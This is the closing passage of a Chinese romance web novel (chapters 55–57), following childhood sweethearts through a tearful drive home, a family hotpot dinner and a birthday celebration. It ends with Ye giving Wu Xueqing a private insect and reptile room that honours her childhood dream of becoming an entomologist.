邬雪青说,可以,只要你有那个效率和能力,提前下班就补外勤卡,但事情没做完就跑,有事的时候找不到人,那下个月也可以不用来了。 先不说能不能做到,她给了这个宽容的可能性,自然受到了底下人一众欢呼簇拥。 不过也有人和她观点不一致,比如魏煦,他觉得应当先立威,再适当给予弹性空间。人都是畏威不畏德,做领导太宽容,下面人就不会把你当回事了。 但这话他会上没直接说,会后在她办公室逼逼叨叨半小时。 邬雪青有点烦他,转着笔说,你要是觉得你行,那你上来干。 每个人都有自己的行事风格,提建议可以,对她指手画脚那她可没那么好脾气了。 魏煦被她一堵,当时脸色就有点不太好了。 这会儿到了饭店,魏煦又挂上了照常的笑容,走过来同叶嘉木打招呼。 他们三个都是老同学,叙起旧来也有不少的话题能聊。 魏煦是个相当会审时度势的人,虽然很意外,但这一路也足够他调整思绪了。 一瞧攻略董事长女儿这条路走不通了,他立马转变思路,那做朋友也是可以的嘛! 饭桌上,魏煦提议大家都喝点酒,有人连连摆手说自己酒精过敏。 是不是过敏不重要,邬雪青让服务生拿了瓶度数不算高的果酒来,想喝的喝,不想喝的那就喝果汁。 今天心情好,邬雪青也小酌了几杯。叶嘉木要开车,自然就不喝酒了。 一顿饭吃完,地铁还没到停运的时间,魏煦让赶地铁的人先走,又和邬雪青助理客套一番要抢着买单。 面对这个明显有点喝高了的男人,徐玉礼貌微笑:“魏经理,我就是个替老板跑腿的,您不要为难我了。” 见买单不成,魏煦又要走回去和邬雪青打招呼。徐玉一把拉住了他,道:“魏经理,时间不早了,您也早点回去吧,记得叫代驾啊。” 把人都送走了,徐玉才回了包厢门口。她推开门往里瞧了一眼,下一秒又迅速把门掩上,在门口静等。 果酒虽然度数不高,但容易起后劲,又带着果味,一不留意就容易喝上头。 包厢里,邬雪青显然也有点喝多了,脸颊红扑扑的,连眼尾也洇着粉。 叶嘉木半蹲在她身前,想哄着她起来。邬雪青用胳膊环着他的脖颈,问他:“你今天什么时候回隅州的?” “下午四点多。” 她嘴唇微微嘟起,“开了几个小时?” “十来个小时吧,早上出发得早。” 她便掐他脸颊,很不高兴地道:“都说要你慢点开,你听话了吗?” 叶嘉木忍不住笑,伸手揉了把她的脸颊,摸到了滚烫的温度,“你喝多了。” “我才没有喝多,别想逃避,回答我刚刚的问题。” “开得很慢了,开得快的话都不用十来个小时就到了。” 邬雪青嘴唇扁了扁,抽了抽鼻子,“你一点都不听话。” “哎呦,哎呦,怎么还要哭了?”叶嘉木捧住她的脸颊,“真的很安全,一路都是走高速,中午还在服务区休息了一会儿,一点也不累。”他又抬头亲亲她粉润的嘴唇,轻声说,“而且我也很想你。” 她搂紧了他的脖颈,简直娇气得不行,哼哼唧唧道:“以后不许这样了。” “好,以后一定慢慢开,都听你的。”他揉了揉她的后脑勺,感觉心都化了。 他将邬雪青背出包间,一拉开门发现她助理还站在门外,诧异道:“你还不下班吗?” 徐玉一板一眼:“老板不到家我不下班。” “没事,我送雪青回去,你回家吧。” 邬雪青也摆摆手说:“Clara,你早点回家。” 徐玉:“但是您的车……” “你开走吧,明天开来公司就好。”她下巴垫在男人肩上,侧着头,狭长的眼睑微微眯着,像一只困倦的猫。 徐玉从来没看到过自己老板这样信任且依赖另一个人,她审视的目光把叶嘉木从头到脚打量一遍,隐隐透露出些不信任。 在叶嘉木说“我们俩家是邻居”后,她才勉强放下一点提防,说了声“好吧”。 三人一同到地下停车场,又分别上了两台车。 叶嘉木将她抱进副驾驶室,系上安全带。见她助理仍旧不放心地站在车边等他们先走,叶嘉木不禁笑了一声:“你这个助理倒是很尽职尽责。” 邬雪青抱着胳膊,得意洋洋说:“我妈妈给我请的。” “噢哟,还‘我妈妈’,和邬姨和好了?” “阐述事实而已,而且Clara人本身就很好啊。” “那你和你妈妈呢?还吵架吗?”他问。 邬雪青抿了抿唇,没有说话。 叶嘉木笑着关上车门,绕过车前,走进驾驶室。 等他们先发动车,徐玉这才跟着他们开出了地下停车场。 “不着急,慢慢来,能够不一见面就吵架就已经是进步了。”他说。 一盏盏路灯的光芒从他脸颊上光栅一般闪过,像水波纹,而他像一个稳妥的船长。 不知道为什么,邬雪青突然觉得难过起来,她低声说:“叶嘉木,我妈妈生病了。” 叶嘉木知道一些,但并不清楚具体怎么回事,他问:“邬姨病得严重吗?是什么病?” “心脏,动了一个小手术。我查了她那个病,以后必须要一直吃一种抗凝药。” 叶嘉木伸手过来攥住了她的手,乐观道:“能控制就是好消息,人哪有不生病的呢?又不是铁打的。既然生了病,那就先接受它,不仅阿姨要接受,我们都要接受,然后好好配合治疗,争取早日完全康复。” 他温暖有力的手掌握紧了她瘦削的手指,邬雪青一直紧绷的内心忽然就有了垮塌的趋势,她低着头,忍不住低低地抽泣了一声,眼泪一下就像掉线珍珠一下落了下来。 她不免哽咽,“我在书房看到了我妈拟的信托合同,全是替我考虑的东西……一下就觉得我对她好像一点都不好,从来没有关心过她,她生病我也不知道,连你都知道了,可是我不知道……” 她用掌心擦着眼泪,越哭越大声。 叶嘉木看了下旁边路况,单手打着方向盘靠边停车,然后解开安全带,俯身将她紧紧搂进了怀里。 邬雪青将脸埋在他肩颈下,开始嚎啕大哭。 他没有打断她的哭泣,手心一下一下地轻轻拍着她的后背,任由她的眼泪肆意地落在他的肩膀上。 他知道,她的眼泪里不禁有懊恼,还有委屈、伤心,她太需要一个可以肆意哭泣的机会,把过去的烦恼都通通哭出来。 他们从出生那一天开始相识,有着共同的童年和相似的成长轨迹。他比任何人都更清楚她是怎样变成今天拧巴的性格的。 她一个人在一群成年人的博弈里左支右绌,被推来推去,不敢哭,不敢输,努力装得成熟懂事,将所有惶恐不安都深埋在高傲的外壳之下。 那层软壳如今被撕开了一个口子,所有的伤心都倾泻而出。 没关系,从今往后,他就是她的盔甲。 时间赋予他们同一根脐带,他们是青梅竹马,是爱人,更是彼此无可替代的另一部分。 没有人会比他们更信任彼此。 邬雪青哭得头都疼了,扯了一大把纸巾擦鼻涕,把叶嘉木肩膀都哭湿了。 感觉到她的哭声渐小,只偶尔抽抽鼻子,叶嘉木慢慢起身,然后捧住了她的脸颊。 连眼睫毛都打缕了,他低低笑道:“小花猫。” 不仅 不安慰她,还笑话她! 邬雪青觉得他好欠打,用力砸了他一拳。 叶嘉木受了这一拳,又俯身过来,亲了亲她的额头。 他说:“不开心的事情都留在昨天,从明天开始,每一天都会越来越好。” “大话王……” 他笑着说:“我会变魔法,以后你就知道了。” 大概是哭累了,开车回去的路上她在车上靠着靠背睡着了。 车停在家门口,叶嘉木把她抱回了家。 阿姨过来开门,见大小姐蜷在他怀里,吓一跳,急忙问:“这是怎么了?” 叶嘉木“嘘”一声,低声说:“晚上饭局喝了一点酒,睡着了,我送她回房间。” 听见门口的动静,邵项均也向门口走来,瞧见叶嘉木,很是惊讶:“小叶?” “邵叔,你还没睡啊?” “雪青还没回来,你邬姨放心不下,我让她先去睡,我来等。雪青这是喝了多少?”邵项均很是担心。 “没喝多少,主要还是困了,”叶嘉木又轻声解释,朝楼上扬扬下巴道,“我先送她上楼。” “好。”邵项均关心地看着他们上楼,又赶紧交代阿姨,“明早熬点醒酒的汤,口味清淡点,不要太浓了。” “好的,先生。” 卧房内,叶嘉木踮着膝盖撑着她,一只手掀开被子,将她放在床上,又给她脱了外套和鞋子,将被子盖上。 邬雪青其实在他抱起她的时候就醒了,但眼皮涨涨的疼,不太睁得开。 黑暗中,她睫毛动了动,眯着一条缝看他。 “醒了?” 叶嘉木正要用纸巾擦掉她脸上的泪痕,就发现她睁开了眼。 邬雪青伸出一只手攥住了他的袖口。 这让叶嘉木想起很小的时候,她总要牵着他手才愿意睡。 叶嘉木单手撑着床头,半跪在她床侧,轻笑着道:“洗个澡再好好睡,明早八点半我来接你去上班。” 她嘴唇撅了撅。 他便心领神会地低头亲了好几下。 “我走了,再不下去你家里人该担心了。”叶嘉木捋了捋她额发,又下床把她床头灯打开,道了声“明天见”,两步一回头地离开了她的房间。 邬雪青抓过旁边的枕头抱住,埋头拱了拱。 哭过一场,心里变得踏实平静。 就像他说的,不好的都留在昨天,他们,明天见。 第56章 清晨,细碎的阳光穿过婆娑树叶,空气中带着冬日的丝丝冷气。 小猫将透进地板的影子当作玩具,匍匐在地,在树影晃动时飞扑过来按在影子上。 楼梯上一阵噼里啪啦的脚步声惊得小猫四足打滑,急匆匆钻进沙发下。 穿着黑色小香风上衣和黑色牛仔裤的女人从楼上急匆匆下来,她皮肤白皙,五官精致舒展,微卷的长发连每一根发丝都带着淡淡的香气。 一楼的阿姨听见响动,从餐厅探出头来,问:“小姐,夫人他们都去上班了,您现在还吃早餐吗?” “不吃了,来不及了!” 她疾步跑下楼梯,赖皮蛇一样的大狗黏过来,哼哼唧唧要蹭她。她随意揉了两把狗头,跑到玄关处换了双鞋,“砰”一声合门走了。 别墅外,站在车侧的男人正抬手看表,见她大步跑来,他笑着说:“不着急,还有二十分钟。” “来不及了,快走,快走!” 她飞快钻进了车里。 别墅另一边,站在门口的中年女人摆了摆手,声音温软:“嘉木,雪青,晚上早点回来,别忘了今天一起吃火锅。” “好,秦姨,外边冷,您快回去吧。” 邬雪青放下车窗,朝她挥了挥双手。 小车一发动,车载电台自动打开,女主播清亮温柔的声音娓娓道来:“立,建始也;冬,终也,万物收藏也。从今天起,我们就正式迈入了冬天的大门……” 邬雪青打开副驾驶的化妆镜,又打开手箱,从里翻了翻,找出一根眉笔,补了一下眉毛,随口问叶嘉木:“今天是立冬了?” “对,所以我妈叫大家一块来吃火锅。”叶嘉木手指搭在岛台中间的汤盒上,点了点,“我家自己包的馄饨,你尝尝。” 她端过汤盒揭开盖子闻了一下,嗅到了补药味,“这是什么汤?” “党参乌鸡汤,驱寒的,你先尝尝喜不喜欢。”叶嘉木单手打开扶手箱,从里面拿出餐具收纳盒递给她,又问,“今天事情多吗?” 邬雪青掰开餐具盒,边道:“今早有两个合同要签呢,下午还要去一趟工厂那边,你呢?” “早上开个例会,下午去看一下直播的工作,事情不多。你下午出去多穿点衣服,晚上要降温的。” “唔。” 她勺了一个馄饨咬了一口,含含糊糊应了一声。 “烫吗?” “呜——有点!” 她微张着嘴,嘶嘶吸气。 他笑道:“慢点吃,又没人和你抢。” 趁着红灯堵车的间隙,邬雪青勺了一个小馄饨喂给他,这待遇着实让叶嘉木受宠若惊,没多想就侧头吃了,下一秒就被肉馅里的汤汁烫得呲牙咧嘴。 邬雪青噗嗤噗嗤笑了起来。 好不容易把嘴里的“火栗”咽下去,叶嘉木叹息道:“我还说今天怎么待遇这么好,原来是恩将仇报来的。” “是你自己不吹,不要怪别人!” “给我舌头都烫坏了,肯定要长泡了。” 邬雪青狐疑:“真的假的?” 她偏头过来看他脸,发现他嘴角噙着笑,表情立马垮了下去,呲牙道:“那也是活该。” “馄饨好不好吃?” “唔,还可以。”她又吃了一个。 “明天早餐想吃什么?” “我都好几天没在家吃早餐了,明天在家吃,你不用给我带了。” “那有其他想吃的菜吗?” 邬雪青想了想,“我想吃腊肉了。” “好,那晚上做。” 送她到集团楼下,叶嘉木再次叮嘱:“下午出去多加件外套。” “知道的!” 邬雪青抓了抓头发,推门下车。 “馄饨不带上去吃了吗?” “吃饱了!你拿走吧!”她转回身,合上车门,又朝他摆了摆手,“上班去吧,下午见,拜拜。” 不等他开口,她就愉快地转身走了。 叶嘉木“啧”一声。 上个月还有早安吻,这个月就彻底变成司机了,这对吗? 看着她着急赶时间跑了起来,连背影都雀动,他不自觉笑了下。 改道回公司。 见他今天提着饭盒来,前台诧异道:“叶总,今天带饭来了啊?” 他晃晃饭盒:“我女朋友剩的。” “……?” 剩的?这人怎么还一副炫耀的表情? 叶嘉木已经吃过早餐了,但,嗯……就是怕浪费粮食,他把剩下的馄饨连汤带料又都吃了,吃完后又进洗手间用洗洁精把饭盒汤勺都洗干净装回去。 助理叩了两下门走进来,正想提醒老板要准备开会了,就听到办公室内侧休息室传出手机外放的声音:“先把腊肉在热水里烫一下,切成比硬币厚一点的薄片……” “……叶总,会议室里人都到了,您看是不是可以开会了?” 男人从休息间里走出来,手指还在淅淅沥沥地滴水,他将饭盒放一边,抽了张纸巾擦干手,又摘下挽着的衬衫袖子,道:“走吧。” 想起刚刚的教学声音,助理好奇问:“叶总,您最近在学做饭吗?” 叶嘉木苦恼地弯了下嘴:“女朋友嘴挑,就喜欢吃我做的饭,还专门点了菜,太难伺候了,哎!” 助理:“…………” 真的吗?您的表情不是这么说的。 邬雪青下午带团队去访问开云丝绸制品工厂,回到市区已经过了六点了,走了一天,肩膀疼,腿也疼,整个人都累麻了。 叶嘉木看见她从公司出来,上午去时还精神焕发了,这会儿整个人都蔫耷了下来,他正张开怀抱等着她,邬雪青蔫蔫地用头在他肩膀上撞了一下,绕过他上车道:“走吧。” “怎么回事?霜打的茄子一样,今天工作不顺利?”叶嘉木挠挠她下巴。 邬雪青靠着玻璃窗,一副被工作吸干一滴都没有了的表情,麻麻地说:“没有,就是累了。” 叶嘉木满眼心疼:“那你眯会儿,很快就到家了。” 他们的车刚到家门口,叶家的门就打开了。 秦斓快步走 出来,欢喜地喊道:“快来吃饭了,都到了,就等你们两个了!” “秦姨——”她叫一声,声音有气无力。 邬雪青走在叶嘉木身后,双手搭着他的肩膀,步伐沉重、没精打采。 要不是答应了吃火锅,她都想回去躺下了。 “怎么了,我家的小囡囡,怎么看着这么不高兴啊?”秦斓摸了摸邬雪青的脑袋,狐疑地看一眼叶嘉木,问,“是不是嘉木欺负你了?” 叶嘉木:? 邬雪青摇头,“没有,就是工作有点累了。” “哦哟,这工作这么累呀?那怎么行呢?那我赶紧叫他们开饭了,你吃完饭回去好好睡一觉。哎呦,小宝贝儿,脸色都变差了。” 这声音太嗲了,像哄小孩,叶嘉木颇阴阳怪气道:“妈,你怎么不关心关心我了?” “你皮糙肉厚的,我看你上一年班都精神得很。”秦斓白他一眼。 秦斓顺手又摸了把狗屁股,拍了拍狗道:“Cooper,快进来,外面多冷啊。” 叶嘉木感觉自己的家庭地位,已经从前三掉到了狗后面了。 “嘉木,雪青,回来了。” “快洗洗手,准备吃饭了。” 家里的两位男士,叶爸和邵叔正跟着阿姨研究手擀面,邬玉瑾站在窗边单手插兜,正在打电话,看见他俩回来,抬了抬下巴。 今天是立冬,叶嘉木爸妈组织一块吃火锅,不仅邬玉瑾和邵项均来了,连邬家的保姆阿姨也都来了。 一下变成了十个人的大聚会,还外加一条凑热闹的狗。 邬雪青脱了鞋,叶嘉木眼尖地看到了她脚后跟贴了两个创口贴,皱眉问她:“脚上怎么弄的?” 邬雪青往脚后跟看了看,低声抱怨:“下午走太久了,磨了两个水泡,疼死了。” 秦斓听见了,惊呼:“雪青!你受伤啦?” “什么?谁受伤了?”叶爸也跟着喊。 这一通喊差点把邬雪青吓着,她赶快澄清:“没事,就是走太久了脚磨了两下。” 秦斓很是关心,招呼叶嘉木道:“嘉木,你去拿我那个按摩的泡脚桶来,再把家里的药箱拿过来。” 邬玉瑾也挂断了电话,皱眉走过来问:“伤到哪了?严不严重?” 邬雪青:“真没事,就是脚后跟磨破了一点点。” “哎呀!这怎么叫没事?走路很痛的!”秦斓看了看破皮的伤口,非常心疼。 泡脚桶连桶带水提来了。 邬雪青被拉到沙发处坐下,撕开了贴在脚后跟上的创口贴,双腿踩进了泡脚桶里。 带按摩功能的泡脚桶咕噜咕噜冒着气泡,秦斓又拿了一个枕头垫在她腰后。 邬雪青有种被当太上皇伺候的错觉。 泡好了脚,叶嘉木又帮她擦干,上药。 沾了碘伏的棉签细细扫过脚面上的勒痕,邬雪青皮肤特别敏感,一个劲躲,止不住地想笑,踹叶嘉木道:“不要你弄了!” “别动,马上好了。”叶嘉木圈紧她脚踝。 邬雪青只能移开目光,尽力忽视脚背上的麻痒。 “那个湖里真的是有很大一只乌龟,野生的,跑得还很快……” 秦斓比划出一个很大的圆,正和邬玉瑾说在哪里看到的奇景。邬玉瑾一只手支着头,竟也笑着听得认真。 两个男人站在餐桌边,正试图驯服擀面杖和面粉团。 阿姨们忙出忙进,将要下火锅的菜端上大转桌。 狗正和自己的球玩得愉快,满地打滚。 邬雪青抱着抱枕,环顾过所有人,最后目光落在叶嘉木身上。 他给她揉捏着有些胀疼的小腿,絮絮叨叨说:“下次出外勤就不要穿高跟鞋了,放双平底鞋在办公室,随时能换。你看你那些鞋,中看不中穿,不是找罪受吗?还不如穿双运动鞋……” 不知道为什么,这样的场景她觉得很熟悉,就好像曾经在梦里见过。 或许他们,天生就该是一对。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第57章【END】 第57章 隅州的雪是很难得的,往往两三年才能见星末一点儿从天空中飘下,不等落到地面便已化为了雪。 邬雪青这两个月都待在上海。 她买下徐汇区一处别墅,打造酒店、艺术沙龙和餐厅于一体的复合综合体建筑作为开云这个品牌新启航的旗舰地标。 酒店内装潢、员工制服、四件套选用,甚至伴手礼都紧密结合开云的产品。另一方面,她又要广招人才,集结新设计师给开云设计出有代表性的新产品系列作为新年主打,忙得脚打后脑勺。 她和叶嘉木已经有半个月时间没见了,上次见面还是在跨年夜。 去年叶嘉木公司的营销宣传非常成功,双十一双十二连续打了两场漂亮的胜仗,他大手一挥,领着全司员工去了京都团建7天。 邬雪青在国内忙成孙子,那狗贼在国外泡着温泉,还一个劲地给她发视频骚扰她,要不是分身乏术,邬雪青真想飞过去把这狗贼脑袋摁进汤池里。 她单方面和叶嘉木绝交24小时。 18号,叶嘉木飞回国内。当天中午,邬雪青也坐高铁回隅州。 这天是他们生日,也是数年后,两个人第一次一起过生日。 家长们在饭店订了一桌家宴,叶嘉木和邬雪青约好了似的,一个飞机晚点,一个从高铁站过来路遇堵车。 一直到12点都过了,两位主角才姗姗来迟。 原本都说只是两家人吃个饭,结果到了饭店一看,两家七大姑八大姨的来了二三十个人,简直比开圆桌会议还夸张。 “雪青——好久不见啊!”这是邬雪青的七大姑八大姨迎上来对她又搂又抱。 “嘉木,你这孩子越长越帅了啊!”这是叶嘉木的七大姑八大姨迎上来又捏他肩膀肌肉又笑摸他狗头。 “都快坐吧!”秦斓道,“嘉木,雪青,坐这来!” 叶嘉木带了两捧花,一捧是机场收的接机花束,还有一捧是从京都带回来的花。 他把接机花束放一边,抱着自己的花束朝邬雪青走过去。 邬雪青打量打量他,休息一周后这人更加容光焕发了,脱了外套,里面一件中领黑色羊绒衫撑得鼓鼓囊囊,个高腿长腰窄,拾掇得和个男模一样。 他弯下腰来,唇贴着她的耳廓道:“生日快乐。” 邬雪青接住了花束,手掌一伸:“生日礼物呢?” 他要是敢只送她一盒巧克力的话,她就把他锤死,镶进水泥墙里。 “回家给你。” 他笑得见牙不见眼,挨着她坐下。 长辈们开始一一给他们送生日礼物,两人面上正正经经,一一谢过。桌下,叶嘉木牵着邬雪青的手放在自己腿上,手指摩挲过她掌心每一处纹路。 摸得她鸡皮疙瘩直起,邬雪青想把自己手拔出去,发现拔不动,一时气恼,又踢他脚、踩他鞋。叶嘉木便索性长腿一抻,把她腿也架了起来,夹在两膝间。 菜上桌了,服务生将红酒给每个人倒上。 季延山道:“雪青啊,还有小叶,你们俩得起来敬大家一杯吧。” 邬雪青又扯了下胳膊,斜眼瞪了叶嘉木一下。 叶嘉木松开她的手脚,在邬雪青去端酒杯的时候先一步将她杯子拿了起来,起身道:“雪青平时都不怎么喝酒,容易上脸,她这杯我代喝,敬爸妈,也敬各位叔叔阿姨,伯父伯母。” “那雪青换杯饮料吧。”季延山说。 服务生闻言立马向邬雪青询问需不需要给她换一杯饮料。 “给她换一杯苏打水。”邬玉瑾说。 “都不用。”邬雪青端起叶嘉木那杯酒,杯口倾斜,倒了一大半给叶嘉木,坦然道,“我酒力不好,嘉木替我喝半杯,还有半杯,我敬爸妈,秦姨叶叔,也敬大家。” 气氛顿时起来了,所有长辈都起身笑着接了他们这一杯酒。 有叔叔道:“准备什么时候办订婚宴啊?到时候我们还要来喝酒呢!” 这事叶嘉木和邬雪青都还没商议过,对视一眼,正准备打个岔顺过去。 季延山先自作主张道:“我看今年5月就有个好日子,干脆就定在 5月吧!” 叶嘉木爸妈都一愣,“这……” 邬玉瑾没开口,目光只看着邬雪青和叶嘉木。 邬雪青一个白眼翻了起来,正要把自己亲爹怼回去,叶嘉木的胳膊在她腰上搂了一下,随即抬眼迎向季延山,声音温和又不容置疑:“季叔叔,多谢您费心,但这我不能同意。” 他顿了顿,感受到身旁邬雪青的身体仍旧紧绷,他继续说道:“5月份,时间太仓促了,今年雪青对她做的新项目有多上心您是知道的,这段时间我们也都分身乏术,订婚的事还是让我们自己做主吧。” 没想到他会出头直刚岳父,满桌霎时安静了几分。 叶嘉木爸妈却明显松了口气,两人都了解邬家母女的性格。原本今天是两个孩子的生日宴,季延山不请自来,和邬玉瑾各带着新欢同坐一桌已经让大家感觉微妙。 不过都是为了孩子,面上的工夫还是都做到位,但要是这么吵起来,那可真是闹笑话了。 被直接驳了面子的季延山,脸上那点一贯从容不迫的笑容瞬间僵住,显得有些错愕,瞪着眼,一时竟没说出话来。 最痛快的莫过于邬雪青,她刚才翻到一半的白眼硬生生转了回来,带着不易察觉的笑意,手肘捣捣叶嘉木,给了他一个肯定的眼神。 大家都打着圆场,喝了一杯酒,各自坐下。 季延山手指敲打着桌面,忽而道:“小叶是吧,我记得你,十多年前,就是你这小子拦着我的车说雪青在她姥爷家过得不开心,问我为什么不把她接到身边去。那时候你胆子就大,现在长大了,也是越发敢说话了。” 他这话就有些诛心了,一段话挑拨了叶嘉木和岳母的关系,又暗指他没大没小,不尊长辈。 “嘉木这孩子就是性格太直了,延山兄,你别跟他一般计较。”叶嘉木爸爸出来打圆场,敬了季延山一杯。 邬雪青扭头看向叶嘉木,用眼神示问,真的有这种事? 叶嘉木摸摸鼻子,小声道:“小时候不懂事,没想到你爸还翻旧账……” “季延山,你要是不想好好吃这顿饭,现在就可以走了。”邬玉瑾不冷不淡说。 她一开口,季延山脸色变了又变,冷冷哼一声,终归是没再说什么了。 毕竟一大帮亲戚在,这顿饭局还是和和睦睦地结束了。 邬雪青拢共只喝了约莫半杯红酒,脸颊还是肉眼可见地红了。 两人和爸妈一块把亲戚都送走。 邬玉瑾问他俩:“你们现在回家吗?” 叶嘉木道:“邬姨,时间还早,我打算带雪青再去看看电影。” 邬玉瑾没再多说,点了头。 秦斓挽住老公胳膊,挥挥手,笑得像小姑娘似的道:“那你们俩去约会吧,我们走了。” 所有人都走了,邬雪青身体一瘫,支着他胳膊问:“还要去看电影啊……看什么电影?” “累了?” “我昨天三点才睡,今天又一大早起来化妆,在高铁上就睡了一个小时。”她打了个哈欠。 “那带你去看生日礼物?” “什么礼物还要我亲自去看。”她嘟嘟囔囔。 叶嘉木开车带她到了半岛别墅区,进门前用手心蒙住了她的眼睛,道:“不许偷看啊。” “不会是很俗的花和气球吧?”她嘴上嫌弃,“要真是这些东西,那我肯定扭头就走。” “绝对是你喜欢的。” 他言之凿凿,邬雪青嗤之以鼻。 别墅门被打开了,叶嘉木道:“小心台阶,抬腿,好,往里走。” 邬雪青闭着眼睛,能感觉到房子内温热的暖气,还有一股似有若无的潮气和草木气息。 “这是你自己住的地方吗?”她问。 “算是。” 算是? 叶嘉木推着她走到别墅正中心,道:“做好准备了吗?” “赶紧的吧。” 他低笑了一声,轻声说着,“三、二、一……”缓缓放下了手心。 邬雪青睫毛动了动,睁开了眼睛,入目是各式各样的透明玻璃柜,她一时没有反应过来,视线转了半圈,直到看到一条碧青色的蛇盘踞在矮矮的树桩上,吐着蛇信子。 她脑子嗡了一声,不可置信地回头看叶嘉木,他推推她,示意她走近看。 邬雪青朝玻璃柜走去。 有的柜子里是蛇,有的是巴掌大的蜘蛛,有的是蜥蜴、变色龙、甲虫…… 这简直是琳琅满目的爬虫和昆虫展,连室内都布置得像一个小型的热带雨林。 她的手掌贴在玻璃柜上,诧异问叶嘉木:“这是新的虫展吗?” “不是,这是只属于你的地方。” “只属于我的……?”她将信将疑,“那这些柜子可以打开吗?” “当然可以。” 他拉开柜子下的小盒,“这些钥匙也都是你的。” 他将钥匙放到她的手心里。 邬雪青打开了一扇柜门,里面是一只蓝斑珠宝蜥,她伸手进去,轻轻地摸了摸蜥蜴脑袋。 它吐着长长的舌头,呆萌地看着邬雪青。 她端着蜥蜴腹部,轻轻将它拿出来。顺着她的胳膊,蜥蜴一下爬上了她的肩膀。 叶嘉木轻咳一声,默默地后撤了一步。 “它好乖啊!”邬雪青侧头摸着蜥蜴身体,眼睛都是亮的,“你都是从哪里弄来的?” “有些是以前抓的,还有些是从虫展上买的……” 实话实说,叶嘉木其实有点起鸡皮疙瘩。 “没想到你竟然也喜欢这些动物。”邬雪青一只手挠着蜥蜴脑袋,问他,“你要摸摸吗?” 叶嘉木:“……可以不摸吗?” 嘴上说着,他还是伸出了手。 邬雪青拿下蜥蜴,放到了他的手臂上。 感觉到它正在往他身上爬,叶嘉木整个人都半麻了,他盯着蜥蜴,感觉它吐长了舌头完全是攻击的姿态,他脸越退越远。 邬雪青“噗呲”了一声,从他身上拿下了蜥蜴。 蜥蜴一到她手上就乖巧无比,满眼清澈。 叶嘉木对冷血动物都有点……起鸡皮疙瘩。 尤其是蛇,他都不敢往那边看。 邬雪青一一看过,认出许多,不少昆虫都非常漂亮且稀有,不是简简单单能买到的。 叶嘉木和这些柜面保持着安全距离,凑近看都直冒汗毛,分明怕得要命,却还偷偷给她打造了一个虫房。 她回过头,一把抱住了他的肩膀,脑袋埋在他肩上,声音有些发颤,认真道:“谢谢,我真的……很喜欢。” “雪青,小时候写作文,大家都写,要当医生,警察,航天员……你说你想当昆虫学家,所有同学都在笑,但你不知道,我那时候可真佩服你,我知道你一定可以做到。即使是从今天开始,也一定不晚。” 昆虫学家。 那是……被邬雪青自己都遗忘的梦想。 很小很小的时候,她很喜欢蹲在家里花坛边看蜜蜂取蜜,蚂蚁搬家,甲虫啃食叶片…… 可一个女孩子竟然喜欢这些虫子,多不可思议,连写在作文里都会被嘲笑。 她把小甲虫养在玻璃杯里,姥爷发现了,觉得她简直是个奇葩,用戒尺狠狠打了她的手心,勒令她以后再也不许玩这些脏东西。 从那之后,她再也没有和任何人提起过自己对昆虫的喜欢。 她可以喜欢狗,喜欢猫,甚至喜欢大象,熊猫。 唯独喜欢昆虫会被视为怪胎。 她不懂为什么,也没有人告诉她为什么。 大学时候,爸妈都想让她学商科,她偷偷改了志愿,申请了生态学专业,把邬玉瑾气炸了,认为她就是为了和她作对,才故意选了一个不知所谓的 专业。 读研时,邬玉瑾盯着她申请商科,几乎是给她买了一个经济学研究生名额。 邬雪青上得……很想死,不是修辞手法的想死,是物理层面的想死。 她整晚整晚地睡不着,失眠,盯着不知所谓的经济学名词发噩梦。 读博时一度到了一上课就想呕吐的程度,她觉得自己脑子里有肿瘤,觉得胃里有溃疡,觉得甲状腺也有问题。 可做完全身检查,除了确诊一个睡眠障碍,哪里都没问题。 她把睡眠障碍的诊断递交给了学校,申请了退学,校医又专门给她做了一个测试,确诊重度焦虑和中度抑郁,这才同意了她的退学申请。 感觉到肩膀湿润了,叶嘉木伸手摸了摸她的脑袋,轻轻笑着戏谑道:“你这一喝酒就哭的毛病,可怎么办啊……” 细细的雪花从空中慢慢地飘落,贴在玻璃窗上,很快便又变成水滴滑落。 “雪青,你看,隅州也下雪了。” 邬雪青红着眼睛侧头向窗外看去,小小的雪花,像浮在空中的尘埃。 在这座人工热带暖房里,他们目睹了初雪的降临。 这让邬雪青想起在墨脱眺望雪山时的感受,金光照顶,山脚是郁郁葱葱的树木。 从今往后,炎热的夏天、潮湿的雨季、寒冷的冬天,每一个难捱的瞬间,都有一个人会无条件地坚定站在她身边。 而那个年少时,总在不经意处,用视线描摹过喜欢的女孩的少年,终于迈过千难万阻的雪途,将赤诚的爱播撒在了白茫茫的大地上。 他知道,雪山并非生来死寂,来年春天,雪山上一定绿意盎然,鲜花盛放。 ——END——魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m